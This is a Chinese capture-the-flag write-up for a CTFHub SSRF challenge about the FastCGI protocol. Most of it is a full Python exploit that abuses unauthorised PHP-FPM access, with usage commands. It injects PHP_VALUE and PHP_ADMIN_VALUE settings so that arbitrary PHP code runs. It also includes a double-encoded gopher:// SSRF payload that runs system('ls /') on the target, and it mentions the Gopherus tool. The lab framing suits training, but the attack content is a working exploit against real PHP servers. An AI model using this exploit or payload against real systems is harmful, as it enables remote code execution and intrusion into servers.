CTFHUB-SSRF-FastCGI协议

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

第一种方式

exp

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)

开两个窗口，一个运行exp，一个本地监听并将监听结果写到txt中

python [脚本名]  [ip] [要执行的php文件] -c [要执行的代码]

python3 fpm.py 127.0.0.1 /var/www/html/index.php -c ""

 

 

 生成的文件为十六进制文件

我们先将其进行一次url编码，再将所有%0a换成%0d%0a之后再进行一次url编码

?url=gopher://127.0.0.1:9000/_%2501%2501%25f4%255e%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%25f4%255e%2501%25e7%2500%2500%250e%2502%2543%254f%254e%2554%2545%254e%2554%255f%254c%2545%254e%2547%2554%2548%2533%2533%250c%2510%2543%254f%254e%2554%2545%254e%2554%255f%2554%2559%2550%2545%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2574%2565%2578%2574%250b%2504%2552%2545%254d%254f%2554%2545%255f%2550%254f%2552%2554%2539%2539%2538%2535%250b%2509%2553%2545%2552%2556%2545%2552%255f%254e%2541%254d%2545%256c%256f%2563%2561%256c%2568%256f%2573%2574%2511%250b%2547%2541%2554%2545%2557%2541%2559%255f%2549%254e%2554%2545%2552%2546%2541%2543%2545%2546%2561%2573%2574%2543%2547%2549%252f%2531%252e%2530%250f%250e%2553%2545%2552%2556%2545%2552%255f%2553%254f%2546%2554%2557%2541%2552%2545%2570%2568%2570%252f%2566%2563%2567%2569%2563%256c%2569%2565%256e%2574%250b%2509%2552%2545%254d%254f%2554%2545%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250f%251b%2553%2543%2552%2549%2550%2554%255f%2546%2549%254c%2545%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%250b%251b%2553%2543%2552%2549%2550%2554%255f%254e%2541%254d%2545%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2509%251f%2550%2548%2550%255f%2556%2541%254c%2555%2545%2561%2575%2574%256f%255f%2570%2572%2565%2570%2565%256e%2564%255f%2566%2569%256c%2565%2520%253d%2520%2570%2568%2570%253a%252f%252f%2569%256e%2570%2575%2574%250e%2504%2552%2545%2551%2555%2545%2553%2554%255f%254d%2545%2554%2548%254f%2544%2550%254f%2553%2554%250b%2502%2553%2545%2552%2556%2545%2552%255f%2550%254f%2552%2554%2538%2530%250f%2508%2553%2545%2552%2556%2545%2552%255f%2550%2552%254f%2554%254f%2543%254f%254c%2548%2554%2554%2550%252f%2531%252e%2531%250c%2500%2551%2555%2545%2552%2559%255f%2553%2554%2552%2549%254e%2547%250f%2516%2550%2548%2550%255f%2541%2544%254d%2549%254e%255f%2556%2541%254c%2555%2545%2561%256c%256c%256f%2577%255f%2575%2572%256c%255f%2569%256e%2563%256c%2575%2564%2565%2520%253d%2520%254f%256e%250d%2501%2544%254f%2543%2555%254d%2545%254e%2554%255f%2552%254f%254f%2554%252f%250b%2509%2553%2545%2552%2556%2545%2552%255f%2541%2544%2544%2552%2531%2532%2537%252e%2530%252e%2530%252e%2531%250b%251b%2552%2545%2551%2555%2545%2553%2554%255f%2555%2552%2549%252f%2575%2573%2572%252f%256c%256f%2563%2561%256c%252f%256c%2569%2562%252f%2570%2568%2570%252f%2550%2545%2541%2552%252e%2570%2568%2570%2501%2504%25f4%255e%2500%2500%2500%2500%2501%2505%25f4%255e%2500%2521%2500%2500%253c%253f%2570%2568%2570%2520%2576%2561%2572%255f%2564%2575%256d%2570%2528%2573%2579%2573%2574%2565%256d%2528%2527%256c%2573%2520%252f%2527%2529%2529%253b%253f%253e%2501%2505%25f4%255e%2500%2500%2500%2500

 读出flag文件名字，再将命令改成

python3 fpm.py 127.0.0.1 /var/www/html/index.php -c ""

重复以上步骤即可读到flag

 第二种方法

使用工具gopherus

 第一个填写要执行的php文件

第二个为要执行的命令

相比于第一种方法，第二种方法方便许多

再将代码进行url编码传参就可得到flag